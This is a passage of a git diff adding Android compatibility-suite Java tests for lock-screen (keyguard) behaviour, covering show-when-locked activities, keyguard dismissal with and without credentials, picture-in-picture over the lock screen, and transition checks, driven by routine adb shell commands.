+        assertTrue("Failed to set density to " + targetDensity, success);
+    }
+
+    private void resetDensity() {
+        executeShellCommand("wm density reset");
+    }
+
+    private void forceStopPackage(String packageName) {
+        final String forceStopCmd = String.format(AM_FORCE_STOP, packageName);
+        executeShellCommand(forceStopCmd);
+    }
+
+    private void startActivity(String packageName, String activityName){
+        executeShellCommand(getStartCommand(packageName, activityName));
+    }
+
+    private void startOtherActivityOnTop(String packageName, String activityName) {
+        final String startCmd = getStartCommand(packageName, activityName)
+                + " -f 0x20000000 --ez launch_another_activity true";
+        executeShellCommand(startCmd);
+    }
+
+    private String getStartCommand(String packageName, String activityName) {
+        return String.format(AM_START_COMMAND, packageName, packageName, activityName);
+    }
+
+    private void verifyWindowDisplayed(String windowName, long timeoutMillis) {
+        boolean success = false;
+
+        // Verify that compatibility dialog is shown within 1000ms.
+        final long timeoutTimeMillis = System.currentTimeMillis() + timeoutMillis;
+        while (!success && System.currentTimeMillis() < timeoutTimeMillis) {
+            final String output = executeShellCommand("dumpsys window");
+            success = output.contains(windowName);
+        }
+
+        assertTrue(windowName + " was not displayed", success);
+    }
+}
diff --git a/tests/framework/base/activitymanager/src/android/server/am/KeyguardLockedTests.java b/tests/framework/base/activitymanager/src/android/server/am/KeyguardLockedTests.java
new file mode 100644
index 0000000..4ad14db
--- /dev/null
+++ b/tests/framework/base/activitymanager/src/android/server/am/KeyguardLockedTests.java
@@ -0,0 +1,228 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.server.am;
+
+
+import static android.app.WindowConfiguration.ACTIVITY_TYPE_STANDARD;
+import static android.app.WindowConfiguration.WINDOWING_MODE_PINNED;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertTrue;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+
+/**
+ * Build: mmma -j32 cts/hostsidetests/services
+ * Run: cts/tests/framework/base/activitymanager/util/run-test CtsActivityManagerDeviceTestCases android.server.am.KeyguardLockedTests
+ */
+public class KeyguardLockedTests extends KeyguardTestBase {
+
+    private static final String SHOW_WHEN_LOCKED_ACTIVITY = "ShowWhenLockedActivity";
+    private static final String PIP_ACTIVITY = "PipActivity";
+    private static final String PIP_ACTIVITY_ACTION_ENTER_PIP =
+            "android.server.am.PipActivity.enter_pip";
+    private static final String EXTRA_SHOW_OVER_KEYGUARD = "show_over_keyguard";
+
+    @Before
+    @Override
+    public void setUp() throws Exception {
+        super.setUp();
+        setLockCredential();
+    }
+
+    @After
+    @Override
+    public void tearDown() throws Exception {
+        super.tearDown();
+        tearDownLockCredentials();
+    }
+
+    @Test
+    public void testLockAndUnlock() throws Exception {
+        if (!isHandheld()) {
+            return;
+        }
+        gotoKeyguard();
+        mAmWmState.waitForKeyguardShowingAndNotOccluded();
+        mAmWmState.assertKeyguardShowingAndNotOccluded();
+        unlockDeviceWithCredential();
+        mAmWmState.waitForKeyguardGone();
+        mAmWmState.assertKeyguardGone();
+    }
+
+    @Test
+    public void testDismissKeyguard() throws Exception {
+        if (!isHandheld()) {
+            return;
+        }
+        gotoKeyguard();
+        mAmWmState.waitForKeyguardShowingAndNotOccluded();
+        mAmWmState.assertKeyguardShowingAndNotOccluded();
+        launchActivity("DismissKeyguardActivity");
+        enterAndConfirmLockCredential();
+        mAmWmState.waitForKeyguardGone();
+        mAmWmState.assertKeyguardGone();
+        mAmWmState.assertVisibility("DismissKeyguardActivity", true);
+    }
+
+    @Test
+    public void testDismissKeyguard_whileOccluded() throws Exception {
+        if (!isHandheld()) {
+            return;
+        }
+        gotoKeyguard();
+        mAmWmState.waitForKeyguardShowingAndNotOccluded();
+        mAmWmState.assertKeyguardShowingAndNotOccluded();
+        launchActivity(SHOW_WHEN_LOCKED_ACTIVITY);
+        mAmWmState.computeState(new WaitForValidActivityState.Builder( SHOW_WHEN_LOCKED_ACTIVITY ).build());
+        mAmWmState.assertVisibility(SHOW_WHEN_LOCKED_ACTIVITY, true);
+        launchActivity("DismissKeyguardActivity");
+        enterAndConfirmLockCredential();
+        mAmWmState.waitForKeyguardGone();
+        mAmWmState.assertKeyguardGone();
+        mAmWmState.assertVisibility("DismissKeyguardActivity", true);
+        mAmWmState.assertVisibility(SHOW_WHEN_LOCKED_ACTIVITY, false);
+    }
+
+    @Test
+    public void testDismissKeyguard_fromShowWhenLocked_notAllowed() throws Exception {
+        if (!isHandheld()) {
+            return;
+        }
+        gotoKeyguard();
+        mAmWmState.waitForKeyguardShowingAndNotOccluded();
+        mAmWmState.assertKeyguardShowingAndNotOccluded();
+        launchActivity(SHOW_WHEN_LOCKED_ACTIVITY);
+        mAmWmState.computeState(new WaitForValidActivityState.Builder( SHOW_WHEN_LOCKED_ACTIVITY ).build());
+        mAmWmState.assertVisibility(SHOW_WHEN_LOCKED_ACTIVITY, true);
+        executeShellCommand("am broadcast -a trigger_broadcast --ez dismissKeyguard true");
+        enterAndConfirmLockCredential();
+
+        // Make sure we stay on Keyguard.
+        mAmWmState.assertKeyguardShowingAndOccluded();
+        mAmWmState.assertVisibility(SHOW_WHEN_LOCKED_ACTIVITY, true);
+    }
+
+    @Test
+    public void testDismissKeyguardActivity_method() throws Exception {
+        if (!isHandheld()) {
+            return;
+        }
+        final String logSeparator = clearLogcat();
+        gotoKeyguard();
+        mAmWmState.computeState();
+        assertTrue(mAmWmState.getAmState().getKeyguardControllerState().keyguardShowing);
+        launchActivity("DismissKeyguardMethodActivity");
+        enterAndConfirmLockCredential();
+        mAmWmState.waitForKeyguardGone();
+        mAmWmState.computeState(new WaitForValidActivityState.Builder( "DismissKeyguardMethodActivity").build());
+        mAmWmState.assertVisibility("DismissKeyguardMethodActivity", true);
+        assertFalse(mAmWmState.getAmState().getKeyguardControllerState().keyguardShowing);
+        assertOnDismissSucceededInLogcat(logSeparator);
+    }
+
+    @Test
+    public void testDismissKeyguardActivity_method_cancelled() throws Exception {
+        if (!isHandheld()) {
+            return;
+        }
+        final String logSeparator = clearLogcat();
+        gotoKeyguard();
+        mAmWmState.computeState();
+        assertTrue(mAmWmState.getAmState().getKeyguardControllerState().keyguardShowing);
+        launchActivity("DismissKeyguardMethodActivity");
+        pressBackButton();
+        assertOnDismissCancelledInLogcat(logSeparator);
+        mAmWmState.computeState();
+        mAmWmState.assertVisibility("DismissKeyguardMethodActivity", false);
+        assertTrue(mAmWmState.getAmState().getKeyguardControllerState().keyguardShowing);
+        unlockDeviceWithCredential();
+    }
+
+    @Test
+    public void testEnterPipOverKeyguard() throws Exception {
+        if (!isHandheld() || !supportsPip()) {
+            return;
+        }
+
+        // Go to the keyguard
+        gotoKeyguard();
+        mAmWmState.waitForKeyguardShowingAndNotOccluded();
+        assertTrue(mAmWmState.getAmState().getKeyguardControllerState().keyguardShowing);
+
+        // Enter PiP on an activity on top of the keyguard, and ensure that it prompts the user for
+        // their credentials and does not enter picture-in-picture yet
+        launchActivity(PIP_ACTIVITY, EXTRA_SHOW_OVER_KEYGUARD, "true");
+        executeShellCommand("am broadcast -a " + PIP_ACTIVITY_ACTION_ENTER_PIP);
+        mAmWmState.waitForKeyguardShowingAndOccluded();
+        mAmWmState.assertKeyguardShowingAndOccluded();
+        mAmWmState.assertDoesNotContainStack("Must not contain pinned stack.",
+                WINDOWING_MODE_PINNED, ACTIVITY_TYPE_STANDARD);
+
+        // Enter the credentials and ensure that the activity actually entered picture-in-picture
+        enterAndConfirmLockCredential();
+        mAmWmState.waitForKeyguardGone();
+        mAmWmState.assertKeyguardGone();
+        mAmWmState.assertContainsStack("Must contain pinned stack.", WINDOWING_MODE_PINNED,
+                ACTIVITY_TYPE_STANDARD);
+    }
+
+    @Test
+    public void testShowWhenLockedActivityAndPipActivity() throws Exception {
+        if (!isHandheld() || !supportsPip()) {
+            return;
+        }
+
+        launchActivity(PIP_ACTIVITY);
+        executeShellCommand("am broadcast -a " + PIP_ACTIVITY_ACTION_ENTER_PIP);
+        mAmWmState.computeState(new WaitForValidActivityState.Builder(PIP_ACTIVITY).build());
+        mAmWmState.assertContainsStack("Must contain pinned stack.", WINDOWING_MODE_PINNED,
+                ACTIVITY_TYPE_STANDARD);
+        mAmWmState.assertVisibility(PIP_ACTIVITY, true);
+
+        launchActivity(SHOW_WHEN_LOCKED_ACTIVITY);
+        mAmWmState.computeState(
+                new WaitForValidActivityState.Builder(SHOW_WHEN_LOCKED_ACTIVITY).build());
+        mAmWmState.assertVisibility(SHOW_WHEN_LOCKED_ACTIVITY, true);
+
+        gotoKeyguard();
+        mAmWmState.waitForKeyguardShowingAndOccluded();
+        mAmWmState.assertKeyguardShowingAndOccluded();
+        mAmWmState.assertVisibility(SHOW_WHEN_LOCKED_ACTIVITY, true);
+        mAmWmState.assertVisibility(PIP_ACTIVITY, false);
+    }
+
+    @Test
+    public void testShowWhenLockedPipActivity() throws Exception {
+        if (!isHandheld() || !supportsPip()) {
+            return;
+        }
+
+        launchActivity(PIP_ACTIVITY, EXTRA_SHOW_OVER_KEYGUARD, "true");
+        executeShellCommand("am broadcast -a " + PIP_ACTIVITY_ACTION_ENTER_PIP);
+        mAmWmState.computeState(new WaitForValidActivityState.Builder(PIP_ACTIVITY).build());
+        mAmWmState.assertContainsStack("Must contain pinned stack.", WINDOWING_MODE_PINNED,
+                ACTIVITY_TYPE_STANDARD);
+        mAmWmState.assertVisibility(PIP_ACTIVITY, true);
+
+        gotoKeyguard();
+        mAmWmState.waitForKeyguardShowingAndNotOccluded();
+        mAmWmState.assertKeyguardShowingAndNotOccluded();
+        mAmWmState.assertVisibility(PIP_ACTIVITY, false);
+    }
+}
diff --git a/tests/framework/base/activitymanager/src/android/server/am/KeyguardTestBase.java b/tests/framework/base/activitymanager/src/android/server/am/KeyguardTestBase.java
new file mode 100644
index 0000000..9a63396
--- /dev/null
+++ b/tests/framework/base/activitymanager/src/android/server/am/KeyguardTestBase.java
@@ -0,0 +1,62 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.server.am;
+
+import static android.server.am.StateLogger.log;
+
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+
+import java.util.regex.Matcher;
+import java.util.regex.Pattern;
+
+public class KeyguardTestBase extends ActivityManagerTestBase {
+
+    protected void assertOnDismissSucceededInLogcat(String logSeparator) throws Exception {
+        assertInLogcat("KeyguardDismissLoggerCallback", "onDismissSucceeded", logSeparator);
+    }
+
+    protected void assertOnDismissCancelledInLogcat(String logSeparator) throws Exception {
+        assertInLogcat("KeyguardDismissLoggerCallback", "onDismissCancelled", logSeparator);
+    }
+
+    protected void assertOnDismissErrorInLogcat(String logSeparator) throws Exception {
+        assertInLogcat("KeyguardDismissLoggerCallback", "onDismissError", logSeparator);
+    }
+
+    private void assertInLogcat(String activityName, String entry, String logSeparator)
+            throws Exception {
+        final Pattern pattern = Pattern.compile("(.+)" + entry);
+        int tries = 0;
+        while (tries < 5) {
+            final String[] lines = getDeviceLogsForComponent(activityName, logSeparator);
+            log("Looking at logcat");
+            for (int i = lines.length - 1; i >= 0; i--) {
+                final String line = lines[i].trim();
+                log(line);
+                Matcher matcher = pattern.matcher(line);
+                if (matcher.matches()) {
+                    return;
+                }
+            }
+            tries++;
+            Thread.sleep(500);
+        }
+        fail("Not in logcat: " + entry);
+    }
+}
diff --git a/tests/framework/base/activitymanager/src/android/server/am/KeyguardTests.java b/tests/framework/base/activitymanager/src/android/server/am/KeyguardTests.java
new file mode 100644
index 0000000..092eae0
--- /dev/null
+++ b/tests/framework/base/activitymanager/src/android/server/am/KeyguardTests.java
@@ -0,0 +1,410 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.server.am;
+
+import static android.app.WindowConfiguration.ACTIVITY_TYPE_STANDARD;
+import static android.app.WindowConfiguration.WINDOWING_MODE_SPLIT_SCREEN_PRIMARY;
+import static android.view.WindowManager.LayoutParams.TYPE_WALLPAPER;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertTrue;
+
+import android.server.am.WindowManagerState.WindowState;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+
+/**
+ * Build: mmma -j32 cts/hostsidetests/services
+ * Run: cts/tests/framework/base/activitymanager/util/run-test CtsActivityManagerDeviceTestCases android.server.am.KeyguardTests
+ */
+public class KeyguardTests extends KeyguardTestBase {
+
+    @Before
+    @Override
+    public void setUp() throws Exception {
+        super.setUp();
+
+        // Set screen lock (swipe)
+        setLockDisabled(false);
+    }
+
+    @After
+    @Override
+    public void tearDown() throws Exception {
+        super.tearDown();
+
+        tearDownLockCredentials();
+    }
+
+    @Test
+    public void testKeyguardHidesActivity() throws Exception {
+        if (!isHandheld() || isUiModeLockedToVrHeadset()) {
+            return;
+        }
+        launchActivity("TestActivity");
+        mAmWmState.computeState(new WaitForValidActivityState.Builder( "TestActivity").build());
+        mAmWmState.assertVisibility("TestActivity", true);
+        gotoKeyguard();
+        mAmWmState.computeState();
+        mAmWmState.assertKeyguardShowingAndNotOccluded();
+        mAmWmState.assertVisibility("TestActivity", false);
+        unlockDevice();
+    }
+
+    @Test
+    public void testShowWhenLockedActivity() throws Exception {
+        if (!isHandheld() || isUiModeLockedToVrHeadset()) {
+            return;
+        }
+        launchActivity("ShowWhenLockedActivity");
+        mAmWmState.computeState(new WaitForValidActivityState.Builder( "ShowWhenLockedActivity").build());
+        mAmWmState.assertVisibility("ShowWhenLockedActivity", true);
+        gotoKeyguard();
+        mAmWmState.computeState();
+        mAmWmState.assertVisibility("ShowWhenLockedActivity", true);
+        mAmWmState.assertKeyguardShowingAndOccluded();
+        pressHomeButton();
+        unlockDevice();
+    }
+
+    /**
+     * Tests whether dialogs from SHOW_WHEN_LOCKED activities are also visible if Keyguard is
+     * showing.
+     */
+    @Test
+    public void testShowWhenLockedActivity_withDialog() throws Exception {
+        if (!isHandheld() || isUiModeLockedToVrHeadset()) {
+            return;
+        }
+        launchActivity("ShowWhenLockedWithDialogActivity");
+        mAmWmState.computeState(new WaitForValidActivityState.Builder("ShowWhenLockedWithDialogActivity").build());
+        mAmWmState.assertVisibility("ShowWhenLockedWithDialogActivity", true);
+        gotoKeyguard();
+        mAmWmState.computeState();
+        mAmWmState.assertVisibility("ShowWhenLockedWithDialogActivity", true);
+        assertTrue(mAmWmState.getWmState().allWindowsVisible(
+                getWindowName("ShowWhenLockedWithDialogActivity")));
+        mAmWmState.assertKeyguardShowingAndOccluded();
+        pressHomeButton();
+        unlockDevice();
+    }
+
+    /**
+     * Tests whether multiple SHOW_WHEN_LOCKED activities are shown if the topmost is translucent.
+     */
+    @Test
+    public void testMultipleShowWhenLockedActivities() throws Exception {
+        if (!isHandheld() || isUiModeLockedToVrHeadset()) {
+            return;
+        }
+        launchActivity("ShowWhenLockedActivity");
+        launchActivity("ShowWhenLockedTranslucentActivity");
+        mAmWmState.computeState(new WaitForValidActivityState.Builder("ShowWhenLockedActivity").build(),
+                new WaitForValidActivityState.Builder("ShowWhenLockedTranslucentActivity").build());
+        mAmWmState.assertVisibility("ShowWhenLockedActivity", true);
+        mAmWmState.assertVisibility("ShowWhenLockedTranslucentActivity", true);
+        gotoKeyguard();
+        mAmWmState.computeState();
+        mAmWmState.assertVisibility("ShowWhenLockedActivity", true);
+        mAmWmState.assertVisibility("ShowWhenLockedTranslucentActivity", true);
+        mAmWmState.assertKeyguardShowingAndOccluded();
+        pressHomeButton();
+        unlockDevice();
+    }
+
+    /**
+     * If we have a translucent SHOW_WHEN_LOCKED_ACTIVITY, the wallpaper should also be showing.
+     */
+    @Test
+    public void testTranslucentShowWhenLockedActivity() throws Exception {
+        if (!isHandheld() || isUiModeLockedToVrHeadset()) {
+            return;
+        }
+        launchActivity("ShowWhenLockedTranslucentActivity");
+        mAmWmState.computeState(new WaitForValidActivityState.Builder("ShowWhenLockedTranslucentActivity").build());
+        mAmWmState.assertVisibility("ShowWhenLockedTranslucentActivity", true);
+        gotoKeyguard();
+        mAmWmState.computeState();
+        mAmWmState.assertVisibility("ShowWhenLockedTranslucentActivity", true);
+        assertWallpaperShowing();
+        mAmWmState.assertKeyguardShowingAndOccluded();
+        pressHomeButton();
+        unlockDevice();
+    }
+
+    /**
+     * If we have a translucent SHOW_WHEN_LOCKED activity, the activity behind should not be shown.
+     */
+    @Test
+    public void testTranslucentDoesntRevealBehind() throws Exception {
+        if (!isHandheld() || isUiModeLockedToVrHeadset()) {
+            return;
+        }
+        launchActivity("TestActivity");
+        launchActivity("ShowWhenLockedTranslucentActivity");
+        mAmWmState.computeState(new WaitForValidActivityState.Builder("TestActivity").build(),
+                new WaitForValidActivityState.Builder("ShowWhenLockedTranslucentActivity").build());
+        mAmWmState.assertVisibility("TestActivity", true);
+        mAmWmState.assertVisibility("ShowWhenLockedTranslucentActivity", true);
+        gotoKeyguard();
+        mAmWmState.computeState();
+        mAmWmState.assertVisibility("ShowWhenLockedTranslucentActivity", true);
+        mAmWmState.assertVisibility("TestActivity", false);
+        mAmWmState.assertKeyguardShowingAndOccluded();
+        pressHomeButton();
+        unlockDevice();
+    }
+
+    @Test
+    public void testDialogShowWhenLockedActivity() throws Exception {
+        if (!isHandheld() || isUiModeLockedToVrHeadset()) {
+            return;
+        }
+        launchActivity("ShowWhenLockedDialogActivity");
+        mAmWmState.computeState(new WaitForValidActivityState.Builder( "ShowWhenLockedDialogActivity").build());
+        mAmWmState.assertVisibility("ShowWhenLockedDialogActivity", true);
+        gotoKeyguard();
+        mAmWmState.computeState();
+        mAmWmState.assertVisibility("ShowWhenLockedDialogActivity", true);
+        assertWallpaperShowing();
+        mAmWmState.assertKeyguardShowingAndOccluded();
+        pressHomeButton();
+        unlockDevice();
+    }
+
+    /**
+     * Test that showWhenLocked activity is fullscreen when shown over keyguard
+     */
+    @Test
+    public void testShowWhenLockedActivityWhileSplit() throws Exception {
+        if (!isHandheld() || isUiModeLockedToVrHeadset() || !supportsSplitScreenMultiWindow()) {
+            return;
+        }
+        launchActivityInDockStack(LAUNCHING_ACTIVITY);
+        launchActivityToSide(true, false, "ShowWhenLockedActivity");
+        mAmWmState.assertVisibility("ShowWhenLockedActivity", true);
+        gotoKeyguard();
+        mAmWmState.computeState(new WaitForValidActivityState.Builder( "ShowWhenLockedActivity" ).build());
+        mAmWmState.assertVisibility("ShowWhenLockedActivity", true);
+        mAmWmState.assertKeyguardShowingAndOccluded();
+        mAmWmState.assertDoesNotContainStack("Activity must be full screen.",
+                WINDOWING_MODE_SPLIT_SCREEN_PRIMARY, ACTIVITY_TYPE_STANDARD);
+        pressHomeButton();
+        unlockDevice();
+    }
+
+    /**
+     * Tests whether a FLAG_DISMISS_KEYGUARD activity occludes Keyguard.
+     */
+    @Test
+    public void testDismissKeyguardActivity() throws Exception {
+        if (!isHandheld() || isUiModeLockedToVrHeadset()) {
+            return;
+        }
+        gotoKeyguard();
+        mAmWmState.computeState();
+        assertTrue(mAmWmState.getAmState().getKeyguardControllerState().keyguardShowing);
+        launchActivity("DismissKeyguardActivity");
+        mAmWmState.waitForKeyguardShowingAndOccluded();
+        mAmWmState.computeState(new WaitForValidActivityState.Builder( "DismissKeyguardActivity").build());
+        mAmWmState.assertVisibility("DismissKeyguardActivity", true);
+        mAmWmState.assertKeyguardShowingAndOccluded();
+    }
+
+    @Test
+    public void testDismissKeyguardActivity_method() throws Exception {
+        if (!isHandheld() || isUiModeLockedToVrHeadset()) {
+            return;
+        }
+        final String logSeparator = clearLogcat();
+        gotoKeyguard();
+        mAmWmState.computeState();
+        assertTrue(mAmWmState.getAmState().getKeyguardControllerState().keyguardShowing);
+        launchActivity("DismissKeyguardMethodActivity");
+        mAmWmState.waitForKeyguardGone();
+        mAmWmState.computeState(new WaitForValidActivityState.Builder( "DismissKeyguardMethodActivity").build());
+        mAmWmState.assertVisibility("DismissKeyguardMethodActivity", true);
+        assertFalse(mAmWmState.getAmState().getKeyguardControllerState().keyguardShowing);
+        assertOnDismissSucceededInLogcat(logSeparator);
+    }
+
+    @Test
+    public void testDismissKeyguardActivity_method_notTop() throws Exception {
+        if (!isHandheld() || isUiModeLockedToVrHeadset()) {
+            return;
+        }
+        final String logSeparator = clearLogcat();
+        gotoKeyguard();
+        mAmWmState.computeState();
+        assertTrue(mAmWmState.getAmState().getKeyguardControllerState().keyguardShowing);
+        launchActivity("BroadcastReceiverActivity");
+        launchActivity("TestActivity");
+        executeShellCommand("am broadcast -a trigger_broadcast --ez dismissKeyguardMethod true");
+        assertOnDismissErrorInLogcat(logSeparator);
+    }
+
+    @Test
+    public void testDismissKeyguardActivity_method_turnScreenOn() throws Exception {
+        if (!isHandheld() || isUiModeLockedToVrHeadset()) {
+            return;
+        }
+        final String logSeparator = clearLogcat();
+        sleepDevice();
+        mAmWmState.computeState();
+        assertTrue(mAmWmState.getAmState().getKeyguardControllerState().keyguardShowing);
+        launchActivity("TurnScreenOnDismissKeyguardActivity");
+        mAmWmState.waitForKeyguardGone();
+        mAmWmState.computeState(new WaitForValidActivityState.Builder( "TurnScreenOnDismissKeyguardActivity").build());
+        mAmWmState.assertVisibility("TurnScreenOnDismissKeyguardActivity", true);
+        assertFalse(mAmWmState.getAmState().getKeyguardControllerState().keyguardShowing);
+        assertOnDismissSucceededInLogcat(logSeparator);
+    }
+
+    @Test
+    public void testDismissKeyguard_fromShowWhenLocked_notAllowed() throws Exception {
+        if (!isHandheld() || isUiModeLockedToVrHeadset()) {
+            return;
+        }
+        gotoKeyguard();
+        mAmWmState.waitForKeyguardShowingAndNotOccluded();
+        mAmWmState.assertKeyguardShowingAndNotOccluded();
+        launchActivity("ShowWhenLockedActivity");
+        mAmWmState.computeState(new WaitForValidActivityState.Builder( "ShowWhenLockedActivity" ).build());
+        mAmWmState.assertVisibility("ShowWhenLockedActivity", true);
+        mAmWmState.assertKeyguardShowingAndOccluded();
+        executeShellCommand("am broadcast -a trigger_broadcast --ez dismissKeyguard true");
+        mAmWmState.assertKeyguardShowingAndOccluded();
+        mAmWmState.assertVisibility("ShowWhenLockedActivity", true);
+    }
+
+    @Test
+    public void testKeyguardLock() throws Exception {
+        if (!isHandheld() || isUiModeLockedToVrHeadset()) {
+            return;
+        }
+        gotoKeyguard();
+        mAmWmState.waitForKeyguardShowingAndNotOccluded();
+        mAmWmState.assertKeyguardShowingAndNotOccluded();
+        launchActivity("KeyguardLockActivity");
+        mAmWmState.computeState(new WaitForValidActivityState.Builder( "KeyguardLockActivity" ).build());
+        mAmWmState.assertVisibility("KeyguardLockActivity", true);
+        executeShellCommand(FINISH_ACTIVITY_BROADCAST);
+        mAmWmState.waitForKeyguardShowingAndNotOccluded();
+        mAmWmState.assertKeyguardShowingAndNotOccluded();
+    }
+
+    @Test
+    public void testUnoccludeRotationChange() throws Exception {
+        if (!isHandheld() || isUiModeLockedToVrHeadset()) {
+            return;
+        }
+        gotoKeyguard();
+        mAmWmState.waitForKeyguardShowingAndNotOccluded();
+        mAmWmState.assertKeyguardShowingAndNotOccluded();
+        executeShellCommand(getAmStartCmd("ShowWhenLockedActivity"));
+        mAmWmState.computeState(new WaitForValidActivityState.Builder("ShowWhenLockedActivity").build());
+        mAmWmState.assertVisibility("ShowWhenLockedActivity", true);
+        setDeviceRotation(1);
+        pressHomeButton();
+        mAmWmState.waitForKeyguardShowingAndNotOccluded();
+        mAmWmState.waitForDisplayUnfrozen();
+        mAmWmState.assertSanity();
+        mAmWmState.assertHomeActivityVisible(false);
+        mAmWmState.assertKeyguardShowingAndNotOccluded();
+        mAmWmState.assertVisibility("ShowWhenLockedActivity", false);
+    }
+
+    private void assertWallpaperShowing() {
+        WindowState wallpaper =
+                mAmWmState.getWmState().findFirstWindowWithType(TYPE_WALLPAPER);
+        assertNotNull(wallpaper);
+        assertTrue(wallpaper.isShown());
+    }
+
+    @Test
+    public void testDismissKeyguardAttrActivity_method_turnScreenOn() throws Exception {
+        if (!isHandheld() || isUiModeLockedToVrHeadset()) {
+            return;
+        }
+
+        final String activityName = "TurnScreenOnAttrDismissKeyguardActivity";
+        sleepDevice();
+
+        final String logSeparator = clearLogcat();
+        mAmWmState.computeState();
+        assertTrue(mAmWmState.getAmState().getKeyguardControllerState().keyguardShowing);
+        launchActivity(activityName);
+        mAmWmState.waitForKeyguardGone();
+        mAmWmState.assertVisibility(activityName, true);
+        assertFalse(mAmWmState.getAmState().getKeyguardControllerState().keyguardShowing);
+        assertOnDismissSucceededInLogcat(logSeparator);
+        assertTrue(isDisplayOn());
+    }
+
+    @Test
+    public void testDismissKeyguardAttrActivity_method_turnScreenOn_withSecureKeyguard() throws Exception {
+        if (!isHandheld() || isUiModeLockedToVrHeadset()) {
+            return;
+        }
+
+        final String activityName = "TurnScreenOnAttrDismissKeyguardActivity";
+
+        setLockCredential();
+        sleepDevice();
+
+        mAmWmState.computeState();
+        assertTrue(mAmWmState.getAmState().getKeyguardControllerState().keyguardShowing);
+        launchActivity(activityName);
+        mAmWmState.waitForKeyguardShowingAndNotOccluded();
+        mAmWmState.assertVisibility(activityName, false);
+        assertTrue(mAmWmState.getAmState().getKeyguardControllerState().keyguardShowing);
+        assertTrue(isDisplayOn());
+    }
+
+    @Test
+    public void testScreenOffWhileOccludedStopsActivity() throws Exception {
+        if (!isHandheld() || isUiModeLockedToVrHeadset()) {
+            return;
+        }
+
+        final String logSeparator = clearLogcat();
+        gotoKeyguard();
+        mAmWmState.waitForKeyguardShowingAndNotOccluded();
+        mAmWmState.assertKeyguardShowingAndNotOccluded();
+        launchActivity("ShowWhenLockedAttrActivity");
+        mAmWmState.computeState(new WaitForValidActivityState.Builder( "ShowWhenLockedAttrActivity" ).build());
+        mAmWmState.assertVisibility("ShowWhenLockedAttrActivity", true);
+        mAmWmState.assertKeyguardShowingAndOccluded();
+        sleepDevice();
+        assertSingleLaunchAndStop("ShowWhenLockedAttrActivity", logSeparator);
+    }
+
+    @Test
+    public void testScreenOffCausesSingleStop() throws Exception {
+        if (!isHandheld() || isUiModeLockedToVrHeadset()) {
+            return;
+        }
+
+        final String logSeparator = clearLogcat();
+        launchActivity("TestActivity");
+        mAmWmState.assertVisibility("TestActivity", true);
+        sleepDevice();
+        assertSingleLaunchAndStop("TestActivity", logSeparator);
+    }
+}
diff --git a/tests/framework/base/activitymanager/src/android/server/am/KeyguardTransitionTests.java b/tests/framework/base/activitymanager/src/android/server/am/KeyguardTransitionTests.java
new file mode 100644
index 0000000..3520f52
--- /dev/null
+++ b/tests/framework/base/activitymanager/src/android/server/am/KeyguardTransitionTests.java
@@ -0,0 +1,160 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.server.am;
+
+import static android.server.am.WindowManagerState.TRANSIT_ACTIVITY_OPEN;
+import static android.server.am.WindowManagerState.TRANSIT_KEYGUARD_GOING_AWAY;
+import static android.server.am.WindowManagerState.TRANSIT_KEYGUARD_GOING_AWAY_ON_WALLPAPER;
+import static android.server.am.WindowManagerState.TRANSIT_KEYGUARD_OCCLUDE;
+import static android.server.am.WindowManagerState.TRANSIT_KEYGUARD_UNOCCLUDE;
+
+import static org.junit.Assert.assertEquals;
+
+import org.junit.Before;
+import org.junit.Test;
+
+/**
+ * Build: mmma -j32 cts/hostsidetests/services
+ * Run: cts/tests/framework/base/activitymanager/util/run-test CtsActivityManagerDeviceTestCases android.server.am.KeyguardTransitionTests
+ */
+public class KeyguardTransitionTests extends ActivityManagerTestBase {
+
+    @Before
+    @Override
+    public void setUp() throws Exception {
+        super.setUp();
+
+        // Set screen lock (swipe)
+        setLockDisabled(false);
+    }
+
+    @Test
+    public void testUnlock() throws Exception {
+        if (!isHandheld() || isUiModeLockedToVrHeadset()) {
+            return;
+        }
+        launchActivity("TestActivity");
+        gotoKeyguard();
+        unlockDevice();
+        mAmWmState.computeState(new WaitForValidActivityState("TestActivity"));
+        assertEquals("Picked wrong transition", TRANSIT_KEYGUARD_GOING_AWAY,
+                mAmWmState.getWmState().getLastTransition());
+    }
+    @Test
